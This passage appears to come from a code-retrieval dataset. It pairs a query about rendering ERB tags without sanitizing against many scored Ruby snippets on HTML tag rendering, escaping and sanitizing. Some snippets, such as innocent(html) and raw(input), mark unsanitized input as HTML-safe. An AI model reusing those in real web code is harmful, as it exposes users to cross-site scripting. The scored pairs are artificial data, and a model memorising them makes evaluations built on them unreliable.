"0.4916862", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49161318", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155986", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
0737f4e569818a572abd267a50e72cd7
This renders the tag without sanitizing the ERB for our purposes. Only applies to our tags.
[ { "docid": "d4c0df09ec9e61a711424ad523d1f010", "score": "0.0", "text": "def render\n content\n end", "title": "" } ]
[ { "docid": "8656f230d55e2e2518f4baf4504f5615", "score": "0.7300517", "text": "def render\n # cleaning content from possible irb stuff. Partial and Helper tags are OK.\n if ComfortableMexicanSofa.config.disable_irb && ![CmsTag::Partial, CmsTag::Helper].member?(self.class)\n content.to_s.gsub('<%', '&lt;%').gsub('%>', '%&gt;')\n else\n content.to_s\n end\n end", "title": "" }, { "docid": "0ebf455b3b628af4ab3e102e6d07f2d1", "score": "0.7113463", "text": "def render\n @tags = [] # resetting\n return '' unless layout\n\n ComfortableMexicanSofa::Tag.process_content(\n self, ComfortableMexicanSofa::Tag.sanitize_irb(layout.merged_content)\n )\n end", "title": "" }, { "docid": "a483f1d9e143f5da02c631a45b2d31bc", "score": "0.70357454", "text": "def render\n temp_code = get_code_as_string()\n \n @tag_list.each do |tag, val|\n if @tags.include?(tag)\n temp_code.gsub!(tag, val)\n end\n end\n return remove_newline_tag(temp_code)\n end", "title": "" }, { "docid": "5c641fc312172fd07a67576837f6edeb", "score": "0.6859009", "text": "def on_html_tag(name, attrs, content = T.unsafe(nil)); end", "title": "" }, { "docid": "8e81928c6724147fc9bcded8cc85a99f", "score": "0.65889084", "text": "def non_content_tag(tag, options = {})\n \"<#{tag}#{build_options(options)} />\"\n end", "title": "" }, { "docid": "d22474eb59c98c58db116301593f1aa8", "score": "0.651919", "text": "def tag; ''; end", "title": "" }, { "docid": "7dc6053e918cadd2d71d28ed90a36f5c", "score": "0.651578", "text": "def string\n if (!(@force_closing_tag.instance_of?(FalseClass)) && \n ![ :hr, :br, :input ].include?(@tag)) then\n @force_closing_tag = true\n end\n super()\n end", "title": "" }, { "docid": "faac8ad852a62047e1f2c62cd945e730", "score": "0.63964546", "text": "def sanitize\n\t\tself.gsub('\"','\\\"').gsub(\"<\",\"&lt;\").gsub(\">\", \"&gt;\")\n\tend", "title": "" }, { "docid": "beff7adf4c0063c18bc0bf5279b56e22", "score": "0.6367287", "text": "def render(context)\n # Sanitize the code inside the block\n resolve_code = super.to_s.gsub(/\\A(\\n|\\r)+|(\\n|\\r)+\\z/, \"\")\n\n # Invoke Rouge to format our code\n formatted_code = rouge_resolve(resolve_code)\n\n # Output the formatted code with the proper HTML tags\n to_html_code(formatted_code)\n end", "title": "" }, { "docid": "de71ea657db6d3681888720ded8235f3", "score": "0.6319788", "text": "def utf8_enforcer_tag\n return \"\".html_safe\n end", "title": "" }, { "docid": "de71ea657db6d3681888720ded8235f3", "score": "0.6319788", "text": "def utf8_enforcer_tag\n return \"\".html_safe\n end", "title": "" }, { "docid": "e5e9e6d87ce9c7c13687cd55fa85038d", "score": "0.62573344", "text": "def strip_tags!\n gsub!( self, self.strip_tags )\n end", "title": "" }, { "docid": "ab35b9b421865a41ea833555f676242c", "score": "0.6255298", "text": "def html_safe; end", "title": "" }, { "docid": "ab35b9b421865a41ea833555f676242c", "score": "0.6255298", "text": "def html_safe; end", "title": "" }, { "docid": "8157140380cf11d81d7045b3663c32d1", "score": "0.62537336", "text": "def to_html\n\t\t\ttagopen, tagbody = @raw.split( /\\s+/, 2 )\n\t\t\t# self.log.debug \"tagopen = %p, tagbody = %p\" % [ tagopen, tagbody ]\n\n\t\t\ttagopen = self.escape_html( tagopen ).sub( %r{^&lt;(/)?(\\w+)} ) {|match|\n\t\t\t\t%Q{&lt;#$1<span class=\"tag-token-name\">#$2</span>}\n\t\t\t}\n\n\t\t\tunless tagbody.nil?\n\t\t\t\ttagbody.sub!( />$/, '' )\n\t\t\t\ttagbody = self.escape_html( tagbody ).gsub( AttributePattern ) {|match|\n\t\t\t\t\tname, mid, val = match.split(/(\\s*=\\s*)/, 2)\n\n\t\t\t\t\tval.gsub!( /(\\[\\?(?:[^\\?]|\\?(?!\\]))+\\?\\])/s ) {|m|\n\t\t\t\t\t\t%q{<span class=\"%s\">%s</span>} %\n\t\t\t\t\t\t\t[ 'tag-attr-directive', m ]\n\t\t\t\t\t}\n\n\t\t\t\t\t%q{<span class=\"%s\">%s</span>%s<span class=\"%s\">%s</span>} % [\n\t\t\t\t\t\t'tag-token-attr-name',\n\t\t\t\t\t\tname,\n\t\t\t\t\t\tmid,\n\t\t\t\t\t\t'tag-token-attr-value',\n\t\t\t\t\t\tval,\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t\ttagbody << '&gt;'\n\t\t\tend\n\n\t\t\t#self.log.debug \"tagopen = %p; tagbody = %p\" %\n\t\t\t#\t[ tagopen, tagbody ]\n\t\t\tsuper { [tagopen, tagbody].compact.join(\" \") }\n\t\tend", "title": "" }, { "docid": "8b418ee5af477cbb18e3a21c6a4bf940", "score": "0.62272406", "text": "def strip_tags\n ActionController::Base.helpers.strip_tags( self )\n end", "title": "" }, { "docid": "e5a3cb773190b799a8e86b28aa2a0218", "score": "0.6209163", "text": "def render(data)\n ERB.new(data, trim_mode: '-').result(binding)\n end", "title": "" }, { "docid": "f626bea7866d21996ea9ae47f88560fb", "score": "0.617837", "text": "def void_tag(name, attrs={})\n tag_opening(name, attrs) << \">\".html_safe\n end", "title": "" }, { "docid": "dec68cc70c27006a22fc62dd0771ef15", "score": "0.6164855", "text": "def render( context )\n context[ @markup ].sub( ' ', '' ).downcase\n end", "title": "" }, { "docid": "54a1ef591089ef43ea564acc3d140e43", "score": "0.61618674", "text": "def strip_tags\n return self.gsub( %r{</?[^>]+?>}, '' )\n end", "title": "" }, { "docid": "66ef5c7088ab3ce449f97278c7437c2e", "score": "0.6146597", "text": "def strip_tags!\n self.replace strip_tags\n end", "title": "" }, { "docid": "6a156454c573d8eb5594d86ff0e4999e", "score": "0.6127371", "text": "def to_html(form_tag_attrs = T.unsafe(nil)); end", "title": "" }, { "docid": "1faf72b464358b48bc0ef2db3850a433", "score": "0.6105175", "text": "def on_slim_tag(name, attrs, closed, content)\n [:html, :tag, name, compile!(attrs), closed, compile!(content)]\n end", "title": "" }, { "docid": "7fde46fd4cda7c0d0fb3aa0d48c14791", "score": "0.610091", "text": "def remove_tags_html() self.gsub(%r{</?[^>]+?>}, '').gsub(\"\\r\\n\", ' ') end", "title": "" }, { "docid": "427f13122a3868cde207e3ae2757746d", "score": "0.6087799", "text": "def strip_tags(html)\n self.class.full_sanitizer.sanitize(html)&.html_safe\n end", "title": "" }, { "docid": "d40a96f59bc8f6ce9e21b7a2b6e82f4e", "score": "0.6058894", "text": "def unescaped\n self.gsub('&lt;', '<').gsub('&gt;', '>')\n end", "title": "" }, { "docid": "bdb12f84d4c5cac445f3b4f66d50eae9", "score": "0.60334885", "text": "def strip_tags\n self.gsub(/<\\/?[^>]*>/, \"\")\n end", "title": "" }, { "docid": "bdb12f84d4c5cac445f3b4f66d50eae9", "score": "0.60334885", "text": "def strip_tags\n self.gsub(/<\\/?[^>]*>/, \"\")\n end", "title": "" }, { "docid": "d054d7851d75d14b44d942627ecbd8fc", "score": "0.60257477", "text": "def render(context)\n # Sanitize the code inside the block\n resolve_code = @text.gsub(/\\A(\\n|\\r)+|(\\n|\\r)+\\z/, \"\")\n\n # Invoke Rouge to format our code\n formatted_code = rouge_resolve(resolve_code)\n \n # Output the formatted code with the proper HTML tags\n to_html_code(formatted_code)\n end", "title": "" }, { "docid": "fef1b6fc31c05db1ad3b2b0ecae8417e", "score": "0.6008984", "text": "def innocent(html)\n\t\thtml.html_safe\n\tend", "title": "" }, { "docid": "e5b1fa80421667b3851ce23e4f793936", "score": "0.59882706", "text": "def to_html\n if self.content\n self.content\n else\n tags_fragments = []\n tags_fragments << \"<#{self.tag}\"\n self.attributes.each do |key, value|\n value = value.gsub('\"', '&quot;')\n tags_fragments << \"#{key}=\\\"#{value}\\\"\"\n end\n tags_fragments.join(\" \") + \">\" + self.inner_html + \"</#{self.tag}>\"\n end\n end", "title": "" }, { "docid": "2a8857e6c028d6b58dacbfcaba74fcf8", "score": "0.59857255", "text": "def html_light_escape\r\n self.gsub('<', '&LT;')\r\n end", "title": "" }, { "docid": "a9355b862604066093a98f2ed9a5d564", "score": "0.59356695", "text": "def strip_tags\n Sanitize.clean(self).gsub(/\\s+/, ' ').strip\n end", "title": "" }, { "docid": "105e3da44f9396f6a172fd63c1db1004", "score": "0.593317", "text": "def render(str)\n ERB.new(str, trim_mode: \"-\").result(binding)\n end", "title": "" }, { "docid": "55b49a1a29b4db23c5ebf233e252ff16", "score": "0.5924907", "text": "def tag(tag)\n \"<#{tag}>#{yield}</#{tag}>\"\nend", "title": "" }, { "docid": "d6672015b567e35916182994c2f7b2d4", "score": "0.5908746", "text": "def closeTag\n\t\t\"</#{tagName.downcase}>\"\n\tend", "title": "" }, { "docid": "9a6dcb89cd95aefedfe1da5ea07fc239", "score": "0.59043074", "text": "def to_s\n content_tag(@tag, output.html_safe, html_attributes)\n end", "title": "" }, { "docid": "859cc32b05802acd1bd893100df4f8fa", "score": "0.58956987", "text": "def strip_tags\n gsub(/<[^>]+?>/, '')\n end", "title": "" }, { "docid": "b21721a1d23bbe527bf85ff3e679010d", "score": "0.589505", "text": "def to_s\n strong? ? %(\"#{@tag}\") : %(W/\"#{@tag}\")\n end", "title": "" }, { "docid": "e87eae1b93a3c5724f4fc092ec61dc29", "score": "0.58925515", "text": "def render_close_tag options\n super if options[:format] != Rxhp::TINY_HTML_FORMAT\n end", "title": "" }, { "docid": "2c5e5a6f846a8fe8af1afe6e23cda5de", "score": "0.5883861", "text": "def to_s\n\t return \"</#{@name}>\" if @isTagEnd\n\t return super\n\tend", "title": "" }, { "docid": "858704ea438fe28ef1fd7b10e3b8c10c", "score": "0.5881936", "text": "def open_tag name, attrs = {}\n \"\\n<#{name}#{normalize_html_attributes(attrs)}>\"\n end", "title": "" }, { "docid": "a86b3b430ac8adfcee68bd9c4f4ded77", "score": "0.5875793", "text": "def strip_tags(html) \n self.class.full_sanitizer.sanitize(html)\n end", "title": "" }, { "docid": "2e7bca9c5aad1f2239e7210e9b6da1ab", "score": "0.5869775", "text": "def render_open_tag options\n out = '<' + tag_name\n unless attributes.empty?\n attributes.each do |name,value|\n name = name.to_s.gsub('_', '-') if name.is_a? Symbol\n value = value.to_s.gsub('_', '-') if value.is_a? Symbol\n\n case value\n when false\n next\n when true\n if options[:format] == Rxhp::XHTML_FORMAT\n out += ' ' + name + '=\"' + name + '\"'\n else\n out += ' ' + name\n end\n else\n out += ' ' + name.to_s + '=\"' + html_escape(value.to_s) + '\"'\n end\n end\n end\n\n if options[:format] == Rxhp::XHTML_FORMAT && !children?\n out + ' />'\n else\n out + '>'\n end\n end", "title": "" }, { "docid": "ab14e6233a9e912a427b0d6105dd1a1a", "score": "0.5869546", "text": "def return_tag(text); end", "title": "" }, { "docid": "361e89417878ff275d9d7cc37a22cae9", "score": "0.5867711", "text": "def html_escape(options={})\n except = options[:except] || %w()\n close_tags\n @modified_string.gsub!(/<\\/?([a-zA-Z0-9]*?)(\\s[^>]*)?>/) do |tag|\n if except.include?($1)\n # Really sanitizes attributes only here\n sanitize(tag, :tags => except, :attributes => %w(href src lang))\n else\n h(tag)\n end\n end\n self\n end", "title": "" }, { "docid": "81df8ebfce647b3fdefa2ea4ff1a5c24", "score": "0.58617437", "text": "def safe_html(key)\n s = self[key]\n\n if s != nil\n s = s.gsub(/[<>]/, '') #drop <> chars\n s = s.gsub(/\\n/, '<br />') #turn newlines into breaks\n else\n s = \"\"\n end\n \n s\n end", "title": "" }, { "docid": "1b939894ae3af1ef3c1e073b81e36f0c", "score": "0.585433", "text": "def tag(tag='div')\n text = yield\n \"<#{tag}>#{text}</#{tag}>\"\nend", "title": "" }, { "docid": "f7034ba8292ecec77b32b52bdaafd015", "score": "0.58533007", "text": "def html_safe?; true; end", "title": "" }, { "docid": "ea34eff4221e6573427cf697a2da07b1", "score": "0.5850978", "text": "def content!\n ActionController::Base.helpers.sanitize( # for tag completion\n ActionController::Base.helpers.sanitize( # for tag/attrs permission\n content, tags: %w|a dl ul ol li p i b pre|, attributes: %w|href|\n )\n )\n end", "title": "" }, { "docid": "6a7ff98bb06be710b44f6349ab92e4dc", "score": "0.58285046", "text": "def render(tag, attributes = {}, &block)\n @context.render_tag(tag, attributes, &block)\n end", "title": "" }, { "docid": "c6a02dbc9ccdfa143797c1ddc2979dd3", "score": "0.58235157", "text": "def strip_tags\n self.gsub(/<+\\/?[^>]*>+/, '')\n end", "title": "" }, { "docid": "cf5ddd1e290d060d5e26990118cbcd15", "score": "0.58173424", "text": "def unrender_value(value)\n Array.wrap(ActionView::Base.full_sanitizer.sanitize(value.gsub(/<br\\s*\\/?>/, \"\\n\")).split(\"\\n\")[1..-1]).join('<br>')\n end", "title": "" }, { "docid": "791ad9c61fe9fddbbe4602b714526b39", "score": "0.5816858", "text": "def twig_raw_filter(string)\n string\n end", "title": "" }, { "docid": "a5fe18bec344304dd23cb6d22d6eac07", "score": "0.5813467", "text": "def handle_tag_as_text\n self[:is_tag] = false\n self[:closing_tag] = false\n self[:text] = self[:complete_match]\n end", "title": "" }, { "docid": "8d23b34e17171de1fbf77ed814fd7139", "score": "0.5810818", "text": "def to_html\n\t\t\tsuper { self.escape_html(self.to_s) }\n\t\tend", "title": "" }, { "docid": "bd64e323e8fb851e4466c6cd9bbe1229", "score": "0.58052", "text": "def tag\n format TAG_FORMAT\n end", "title": "" }, { "docid": "320ded71886dbe67d21531a5689488cf", "score": "0.5803432", "text": "def get_edit_html()\n super() << \"<div class=\\\"field\\\">\n <span>exclusive tag?</span>\n <input type='checkbox' name='is_exclusive' value='1' #{ is_exclusive ? 'checked' : nil} />\n <br/>\n <input type='text' style=\\\"width:95%;\\\" value='\" << tags.collect { |t| \"#{t.idurl}:#{t.label.inspect}\" }.join(', ') << \"' />\n </div>\"\n end", "title": "" }, { "docid": "ae5d54df15f7fba840e40e22e83bc879", "score": "0.57944334", "text": "def content_tag_sane(tag, options, content=\"\")\n content_tag(tag, content, options)\n end", "title": "" }, { "docid": "c73ba713e1073c6e1322534a5bc28ec7", "score": "0.5774503", "text": "def suppressed_tag_for(item)\n content_tag('span', item.name, link_options(item).except(:method))\n end", "title": "" }, { "docid": "55ddc49014630e7fbf0742af4c450021", "score": "0.5773947", "text": "def to_s\n super.html_safe\n end", "title": "" }, { "docid": "0b363ea1b6cadb45354c5e95a5ce53c4", "score": "0.5772793", "text": "def raw_label_text\n template.content_tag('span', id: curate_nd_dom_id('label')) do\n super\n end\n end", "title": "" }, { "docid": "2aae8479848f7c6db5fc2f4f62881883", "score": "0.5768385", "text": "def safe_html_out_for(object)\n sanitize object, :tags => %w(h1 h2 h3 h4 h5 h6 p a img br span table th tr td b ol ul li), :attributes => %w(id class style href src width height)\n end", "title": "" }, { "docid": "4319f9ee60e6e2f643e70b5a304a00e0", "score": "0.57605654", "text": "def __end_tag; ''; end", "title": "" }, { "docid": "6aae6d78deee7de34ec9cc20dfc40066", "score": "0.57568574", "text": "def call(tag)\n case tag\n when Tag\n if SELF_CLOSING.include?(tag.type)\n \"<#{tag.type}#{attr_html(tag.attr)}/>\"\n else\n \"#{serialize_open(tag)}#{call(tag.children)}#{serialize_close(tag)}\"\n end\n when Input\n call(tag.format)\n when Array\n tag.map{|x| call(x)}.join\n when DateTime, Time\n format_time(tag)\n when Date\n format_date(tag)\n when BigDecimal\n tag.to_s('F')\n when Raw\n tag.to_s\n else\n Forme.h(tag)\n end\n end", "title": "" }, { "docid": "27fd9ace277ebb6df907282a5ae77a9b", "score": "0.5754278", "text": "def render() ERB.new(@template, nil, '-').result( binding ) end", "title": "" }, { "docid": "bffc08d1b2cdb18f4b6bd7ef2dceba59", "score": "0.5741354", "text": "def render( render_state )\n\t\treturn self.escape( super, render_state )\n\tend", "title": "" }, { "docid": "5f79532cd9ffad8bd744db78cb5085f1", "score": "0.57373893", "text": "def remove_tag_association_label(tag)\n \"\".html_safe\n end", "title": "" }, { "docid": "37ede97f91bcf4b1784bc8ee2426f319", "score": "0.5731608", "text": "def content_tag(name, content_or_options_with_block=nil, options=nil, escape=false, &block)\n super\n end", "title": "" }, { "docid": "f78d0ff27cbd4b9c8f21bc016a1d1452", "score": "0.5723589", "text": "def pre_render\n content_tag tag_type, html_options do\n concat glyph_and_content_html if @content\n concat header_html if @header\n concat body_html if @body\n concat badge_html if @options[:badge]\n end\n end", "title": "" }, { "docid": "0c3993e896697c1d0487929373cffea5", "score": "0.57225066", "text": "def render\n # begin monkey\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"field=#{field}\",\n \"values=#{values}\",\n \"options=#{options}\",\n \"\" ] if attribute_renderer_debug_verbose\n # end monkey\n return '' if values.blank? && !options[:include_empty]\n markup = []\n markup << %(<span itemprop=\"#{options[:itemprop]}\">) if options[:itemprop].present?\n markup << %(<tr><th>#{label}</th>\\n<td><ul class='tabular'>)\n attributes = microdata_object_attributes(field).merge(class: \"attribute attribute-#{field}\")\n Array(values).each do |value|\n # begin monkey\n value_str = ::Deepblue::MetadataHelper.str_normalize_encoding value.to_s\n markup << \"<li#{html_attributes(attributes)}>#{attribute_value_to_html(value_str)}</li>\"\n # end monkey\n end\n markup << %(</ul></td></tr>)\n markup << %(</span>) if options[:itemprop].present?\n markup.join(\"\\n\").html_safe\n end", "title": "" }, { "docid": "64e98c9576a3bdaf7c6ce905762799a2", "score": "0.5706569", "text": "def render\n ''\n end", "title": "" }, { "docid": "db6015582e6779ec198c7a651da47a8e", "score": "0.57044226", "text": "def see_tag(text); end", "title": "" }, { "docid": "776a418f1c77112c8048f0ee6e4af5e5", "score": "0.5704115", "text": "def open_tag(name, attrs = {}) \n \"<#{name}#{normalize_html_attributes(attrs)}>\"\n end", "title": "" }, { "docid": "540df736f9780a85a1121ac4b5cb6ad7", "score": "0.5703567", "text": "def html\n @text.gsub!(/</,\"&lt;\")\n @text.gsub!(/>/,\"&gt;\")\n end", "title": "" }, { "docid": "7766ffc297356a8c5f293bf7fa66ac9b", "score": "0.5702258", "text": "def render_tags(tags, options={})\n commas = options.fetch(:commas, false)\n\n if tags.blank? && commas\n \"-\"\n else\n sep = commas ? \", \" : \"\"\n raw tags.map { |t| link_to(t.name, tag_path(t.name), class: \"tag\") }.join(sep)\n end\n end", "title": "" }, { "docid": "e07b4e68007a93ab8f6df4c6a6f00f71", "score": "0.57008225", "text": "def html_safe\n to_s.html_safe\n end", "title": "" }, { "docid": "dfacfcf71a6beaa14def771de3943d74", "score": "0.5690222", "text": "def closed_tag\n case tag\n when 'input', 'checkbox' then \"\\n\"\n when 'span', 'a', 'legend' then \"</#{tag}>\" # pas de retour chariot\n else \"\\n#{indent_str}</#{tag}>\"\n end\n end", "title": "" }, { "docid": "8269407e466ed1a4d28c85566f2b4092", "score": "0.56855196", "text": "def strip_tags(string)\n safe(string.gsub(/<[^>]*>/ui, \"\"))\n end", "title": "" }, { "docid": "b1a0e754d875f45d4f7baa7912be1eb9", "score": "0.56850564", "text": "def tags_text\n \"\"\n end", "title": "" }, { "docid": "59403b1260a2db0ca57ab2edc4a06f66", "score": "0.56836516", "text": "def tag_expression; end", "title": "" }, { "docid": "2be2653ba230196ad33259e2c80e69eb", "score": "0.5681057", "text": "def html_safe\n # noinspection RubyMismatchedReturnType\n to_s(html: true)\n end", "title": "" }, { "docid": "ff8c2e08bd8c1314c065fdd943892e54", "score": "0.5677526", "text": "def tagging_raw_handle\n raise 'tagging raw handle not implemented!'\n end", "title": "" }, { "docid": "3ecefce800087f1a45c8f66b5c376508", "score": "0.5673528", "text": "def html_esc(*args)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "caee861acb5d1930fe435ce02ee5a4bf", "score": "0.5672929", "text": "def convert_tags(block = '')\n block = yield if block_given?\n block.gsub('<', '&lt;').gsub('>', '&gt;')\n end", "title": "" }, { "docid": "6d27f4eb27ae8c81da36c7380d0fb898", "score": "0.5667124", "text": "def method_missing(*attributes)\n if (attributes[0][/_safe$/])\n html_safe_string = send(attributes[0].to_s.gsub(/_safe$/,\"\").intern).html_safe\n CGI::unescapeElement( CGI::escapeHTML(html_safe_string), \"BR\" )\n else\n super\n end\n end", "title": "" }, { "docid": "e9213105ebef30bc2c7f42bf07a2480f", "score": "0.56667197", "text": "def raw(input)\n input.to_s.html_safe\n end", "title": "" }, { "docid": "93ac60d4d3e556d76f4d6f4fef62f115", "score": "0.56666106", "text": "def strip_tags separator = ''\n str = self\n str = str.gsub(/<(.+?)>/, separator)\n str.gsub!(/<adminonly>(.*?)<\\/adminonly>/,'')\n return str\n end", "title": "" }, { "docid": "93ac60d4d3e556d76f4d6f4fef62f115", "score": "0.56666106", "text": "def strip_tags separator = ''\n str = self\n str = str.gsub(/<(.+?)>/, separator)\n str.gsub!(/<adminonly>(.*?)<\\/adminonly>/,'')\n return str\n end", "title": "" }, { "docid": "0f837c058369ba0f3412370131d97730", "score": "0.56579375", "text": "def tag(*args, &block)\n name = args.first\n attrs = args.last.is_a?(::Hash) ? args.pop : {}\n newline = attrs[:newline] # save before it gets tainted\n \n tag_content = block_given? ? capture_html(&block) : args[1] # content\n \n if self_closing_tag?(name)\n tag_html = self_closing_tag(name, attrs)\n else\n tag_html = open_tag(name, attrs) + tag_contents_for(name, tag_content, newline) + closing_tag(name)\n end\n block_is_template?(block) ? concat_content(tag_html) : tag_html\n end", "title": "" }, { "docid": "89cc98276f5133415d10c76f55a4fc04", "score": "0.5654195", "text": "def tag(tag_name, content, options={})\n invalidate_asset_cache! options\n attrs = options.map { |attr,val| %Q|#{attr}=\"#{val.to_s.gsub(/\"/, '\\\"')}\"| }\n open_tag = \"<#{tag_name} #{attrs.join(' ')}\"\n content.nil? ? \"#{open_tag} />\" : \"#{open_tag}>#{content}</#{tag_name}>\"\n end", "title": "" }, { "docid": "67aff1912cad3696d8fad0766bf0715e", "score": "0.5653329", "text": "def html_like_attr(tag, value)\n value.to_s.empty? ? \"\" : \"#{tag}=\\\"#{value}\\\"\"\n end", "title": "" }, { "docid": "73d278e1c2db9a3bf4e42036f5ffdeaf", "score": "0.56505966", "text": "def form_field\n raise \"Form field rendering not implemented for this Tag\"\n end", "title": "" }, { "docid": "45f39812ea489141b3ab8d67c8749ccd", "score": "0.5638615", "text": "def erb_parseable_template(string)\n string.gsub(/^\\s*-(.+)$/, '%\\1')\n .gsub(/^\\s*=(.+)$/, '<%=\\1 %> ')\n end", "title": "" }, { "docid": "2d432e8c17f1f4d3b36578098fc4b800", "score": "0.5633615", "text": "def render_safe\n RENDER_SAFE\n end", "title": "" }, { "docid": "8609b11986709ead5f5efcf6e25dfe5d", "score": "0.56260544", "text": "def sanitize_option_text(opt, tag, tag_options = {})\n s = Option.send(opt)\n content_tag(tag, sanitize(s), tag_options)\n end", "title": "" }, { "docid": "ca2141a41cf0d9015a3242ed33f3f8ed", "score": "0.56201184", "text": "def _normalize_render(*args, &block); end", "title": "" }, { "docid": "10d7ff197db830a1ec348fba9887a907", "score": "0.561934", "text": "def html(entry,erb_template=DEFAULT_TEMPLATE,caller_binding=binding) \n if erb_template.kind_of?(ERB)\n template=erb_template\n else\n template=ERB.new(erb_template,nil,'<>')\n end \n template.result(binding)\n end", "title": "" }, { "docid": "470ac9c07e794140e96be86e544d45f2", "score": "0.5618852", "text": "def content_tag name, options = nil, escape = true, &block\n opt = if options.class == Hash \n options.each {|k, v| \"#{k}=\\\"#{v}\\\"\"} if options\n elsif options.class == Fixnum\n options\n else\n nil\n end\n html_string = \"\"\n html_string << \"<#{name.to_s}#{ opt if opt}>\"\n html_string << block.call if block_given?\n html_string << \"</#{name.to_s}>\"\n html_string\n end", "title": "" }, { "docid": "633f3b21f17aa073e6328499441d6a01", "score": "0.56178564", "text": "def protect_from_xss_like_a_boss(dirtyText)\n scrubber = Rails::Html::PermitScrubber.new\n scrubber.tags = ['a','p','br','b','i','s','ol','ul','li','h5','label']\n cleanText = Loofah.fragment(dirtyText).scrub!(scrubber)\n return cleanText.to_s\n end", "title": "" }, { "docid": "fba2bbd51675c72452105bedbca1a420", "score": "0.56143844", "text": "def raw(string)\n string.html_safe\n end", "title": "" } ]
536871e4041f867e8c259979b8f5fd03
Validates all profiles in the given directory
[ { "docid": "e80c8a4392a6304e5955da2686396d6e", "score": "0.7267987", "text": "def validate_correct_profiles\n profiles_dir = File.join(PROFILES_DIR, @test_dir, CORRECT_PROFILES_DIR)\n runner = self\n\n RSpec.context \"When checking correct profiles stored in #{profiles_dir},\" do\n Dir.glob(File.join(profiles_dir, \"*.xml\")) do |profile|\n describe \"Profile #{profile}\" do\n it \"passes validation according to schema\" do\n expect(runner.validate_profile(profile, profiles_dir)).to eq(\"\")\n end\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "a5f43ff4070de7352280fe78ec75835d", "score": "0.6728581", "text": "def validate\n if (self.directory == \"\")\n puts \"Directory required.\"\n exit 0\n end\n\n if (!Dir.exist?(self.directory))\n puts \"Missing directory #{self.directory}\"\n exit 0\n end\n\n validate_config_file(self.configfile)\n validate_config_file(self.globalconfigfile)\n end", "title": "" }, { "docid": "49877a55eb6911a3aa7fd8c6cd899b2e", "score": "0.6430662", "text": "def validate_profile(profile, profile_dir)\n if @schema_file.nil?\n raise \"Run prepare_schema_dir(tests_dir) first\"\n elsif !File.exist?(@schema_file)\n raise \"Schema #{@schema_file} does not exist\"\n end\n\n puts \"Checking #{profile} according to #{@schema_file}\"\n\n begin\n Dir.chdir(profile_dir) do\n output = Cheetah.run \"jing\", @schema_file, profile,\n :stdout => :capture, :stderr => :capture\n end\n return \"\"\n rescue Cheetah::ExecutionFailed => e\n $stderr.puts e.stderr\n return e.stdout\n end\n end", "title": "" }, { "docid": "a0b9571bb219f6457ba94a6c1f4268df", "score": "0.6296152", "text": "def check_profiles(resources = nil, klasses = nil, profiles = nil)\n resources = get_resource_intersection(resources, klasses, profiles)\n profiles = coerce_to_a(profiles)\n profiles.uniq! if profiles\n errors = {}\n profileSDs = []\n\n if blank?(profiles)\n resources.each { |resource| profileSDs.push(resource.meta.profile) }\n profileSDs.flatten!\n profileSDs.uniq!\n profileSDs.collect!{ |profile| Inferno::ValidationUtil.get_profile(profile) } \n else\n profileSDs = profiles.collect{ |profile| Inferno::ValidationUtil.get_profile(profile) }\n end\n profileSDs.compact!\n if profiles && profileSDs.length != profiles.length\n errors[\"params\"] = \"Not all profile urls in the profiles param are in Inferno\" \n end\n puts profileSDs.length\n profileSDs.each do |sd|\n errArr = resources.collect{ |resource| \n err = sd.validate_resource(resource)\n blank?(err) ? nil : {resource.id.to_s => err}\n }\n errArr.compact!\n errors[sd.name] = errArr unless blank?(errArr)\n end\n errors\n end", "title": "" }, { "docid": "035fd0caa6943a1c5c457696b9b3dd19", "score": "0.62934035", "text": "def validate_incorrect_profile(profile)\n profiles_dir = File.join(PROFILES_DIR, @test_dir, INCORRECT_PROFILES_DIR)\n validate_profile(profile, profiles_dir)\n end", "title": "" }, { "docid": "9e123a5c9f6983bfae2300f0e36e811c", "score": "0.60725194", "text": "def validate_directories *directories\n directories.flatten.each do |directory|\n validate_directory directory\n end\n end", "title": "" }, { "docid": "5ee9b6568696bba47acd4cac25aa13b4", "score": "0.5973029", "text": "def validate_all()\n folders = Dir.glob('threads/*').select {|f| File.directory? f}\n folders.each do |dir|\n validate_one(dir)\n end\nend", "title": "" }, { "docid": "ce14a4ca1cfd0b7a599a60852420d563", "score": "0.5948164", "text": "def validate_dir(dir)\n FileUtils.mkdir_p(dir)\n end", "title": "" }, { "docid": "cee221353aa18260947579d17fb1095a", "score": "0.5908756", "text": "def init_profiles\n\n #load all the profiles\n profiles = {}\n\n Dir.foreach('../profiles') do |item|\n \tnext if item == '.' or item == '..'\n \tprofile = YAML.load_file('../profiles/' + item)\n\n #the validation process has a side effect of returning a composed array of the pay period percentages\n \tpay_period_percentages = validate_profile(profile, item)\n \n #extract the name from the yaml and use it as the key for this profile\n main_key = profile['name']\n profiles[main_key] = profile\n \n #insert the pay_period percentages array into the profile\n profiles[main_key]['pay_period_percentages'] = pay_period_percentages\n\n end\n return profiles\nend", "title": "" }, { "docid": "996d02841e2f04a3bee9d53180f81c36", "score": "0.5855312", "text": "def check_aws_profiles\n creds = File.read(\"#{ENV.fetch('HOME')}/.aws/credentials\").split(\"\\n\")\n REQUIRED_AWS_PROFILES.each do |profile|\n raise \"ERROR Required AWS Profile #{profile} not found.\" \\\n unless creds.grep(/\\[#{profile}\\]/).any?\n end\nend", "title": "" }, { "docid": "964ad17b35d742b052003d5cc72b238b", "score": "0.58143014", "text": "def parse_profiles\n profiles = @xml['/VM/USER_TEMPLATE/LXC_PROFILES']\n\n return [] if profiles.empty?\n\n files = []\n\n profiles.split(',').each do |profile|\n profile.strip!\n path = \"#{@lxcrc[:profiles_location]}/#{profile}\"\n\n if File.exist?(path)\n files << path\n else\n STDERR.puts \"Cannot find profile: \\\"#{profile}\\\".\"\n end\n end\n\n 